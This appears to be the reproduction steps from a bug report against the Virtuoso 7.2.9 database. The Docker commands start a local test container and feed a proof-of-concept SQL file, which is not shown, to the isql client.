ways to reproduce (write poc to the file ‘/tmp/test.sql’ first):

remove the old one

docker container rm virtdb_test -f

start virtuoso through docker

docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9

wait the server starting

sleep 10

check whether the simple query works

echo “SELECT 1;” | docker exec -i virtdb_test isql 1111 dba

run the poc

docker exec -i virtdb_test isql 1111 dba < “/tmp/test.sql”
